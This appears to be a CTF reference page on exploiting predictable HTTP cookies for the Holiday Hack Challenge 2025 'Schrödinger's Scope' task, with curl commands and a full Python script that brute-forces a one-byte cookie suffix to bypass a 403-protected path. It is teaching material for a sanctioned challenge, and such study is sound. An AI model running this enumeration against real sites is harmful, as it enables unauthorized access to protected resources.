Skip to content

Cookies

Table of Contents


Overview

HTTP cookies are key-value pairs set by the server and sent back by the browser on every subsequent request. In CTF web challenges, cookies are often used for session management, authorization gating, or feature flags. Weak cookie implementations (e.g., predictable values, insufficient entropy, sequential counters) can be exploited to bypass access controls or unlock hidden functionality.

Common Attack Patterns

  • Sequential / predictable values: cookie suffix is an incrementing counter or sequential hex byte.
  • Fixed prefix with small variable suffix: only the last byte varies, making exhaustive search trivial (256 possibilities).
  • Encoding tricks: value is base64, hex, or URL-encoded and can be decoded, modified, and re-encoded.
  • Missing HttpOnly / Secure flags: cookies readable by JavaScript or transmitted over HTTP.

Quick Reference

Task Method
Observe cookie values across requests Browser DevTools → Application → Cookies, or Burp Suite HTTP history
Identify fixed prefix Collect 10–20 values; compare for common leading substring
Brute-force 1-byte hex suffix 256 candidates; script with requests library
Set cookie in browser DevTools Console: document.cookie = "name=value"
Set cookie with cURL curl -b "name=value" URL

Techniques

Identifying Predictable Cookies

Collect multiple cookie values by making repeated requests and look for patterns:

# Collect registration cookie values across 10 requests
for i in $(seq 1 10); do
  curl -s -I https://TARGET/register/ \
    -b "Schrodinger=TOKEN" \
    | grep -i "set-cookie"
done

What to look for:

  • A long common prefix with only the last 1–2 bytes changing
  • Values that appear sequential (e.g., ...44a, ...44b, ...44c)
  • A value that is conspicuously absent from the observed range (the "gap" is often the target)

Manual Enumeration with cURL

Once you have identified the prefix, manually test candidate values:

# Test a specific candidate cookie against a protected endpoint
curl https://TARGET/protected/path \
  -b "Schrodinger=AUTH_TOKEN; registration=PREFIX44c" \
  -o /dev/null -w "%{http_code}\n"

A 200 (or non-403) response indicates the cookie value was accepted.

Scripted Brute-Force — Hex Suffix Enumeration

When the variable portion is a single hex byte (256 possible values), a short Python script can automate collection, analysis, and testing:

Click to expand code
import requests
from pprint import pprint

BASE_URL = "https://TARGET"
REGISTER_URL = f"{BASE_URL}/register/"
TARGET_URL   = f"{BASE_URL}/register/courses/wip/hidden_path"
AUTH_TOKEN   = "your-auth-token-here"

def collect_cookies(session, url, attempts=50):
    """Collect unique registration cookie values from repeated requests."""
    seen = set()
    for _ in range(attempts):
        r = session.get(url)
        val = r.cookies.get("registration")
        if val:
            seen.add(val)
    return seen

def derive_prefix_and_start(values):
    """Extract fixed prefix and starting byte from observed values."""
    min_val = min(values)
    prefix = min_val[:-2]           # everything except last byte
    start  = int(min_val[-2:], 16)  # last byte as integer
    return prefix, start

def generate_candidates(prefix, start):
    """Generate all 256 candidates starting from observed minimum."""
    return [f"{prefix}{(start + i) & 0xff:02x}" for i in range(0x100)]

def test_candidates(session, candidates, url):
    """Try each candidate; stop on first non-403 response."""
    for i, candidate in enumerate(candidates, 1):
        session.cookies.set("registration", candidate)
        r = session.get(url)
        result = "NOPE" if r.status_code == 403 else "YES"
        print(f"[{i}/{len(candidates)}] {candidate} => {result}")
        if result == "YES":
            break

with requests.Session() as s:
    s.cookies.set("Schrodinger", AUTH_TOKEN)

    values = collect_cookies(s, REGISTER_URL)
    pprint(values)

    prefix, start = derive_prefix_and_start(values)
    print(f"Prefix: {prefix}  Start: {start:02x}")

    candidates = generate_candidates(prefix, start)
    test_candidates(s, candidates, TARGET_URL)

Key observations from the algorithm: - Collecting from the /register/ endpoint first populates the set of observed values - The minimum observed value anchors the search range. - The valid cookie is often the one absent from the observed set; the server never hands it out normally, but accepts it when presented. - Wrapping with & 0xff ensures the search wraps cleanly past 0xff back to 0x00.

Setting Cookies in the Browser

After identifying a valid cookie value, set it directly in the browser without a tool:

// DevTools Console
document.cookie = "registration=eb72a05369dcb44c; path=/";

Then reload the page.

Alternatively, use the Application tab in DevTools: - Navigate to Storage → Cookies → select the domain. - Double-click the value field for the cookie and edit it directly.

Setting Cookies with cURL

# Single cookie
curl https://TARGET/path -b "registration=eb72a05369dcb44c"

# Multiple cookies
curl https://TARGET/path -b "Schrodinger=TOKEN; registration=eb72a05369dcb44c"

Files

File Description Source
detect_registration_cookie.py Full script: collect, derive prefix, generate candidates, test HHC 2025 Act III - Schrödinger's Scope

References

Challenges

Source Name
Holiday Hack Challenge 2025, Act III Schrödinger's Scope

Web Sites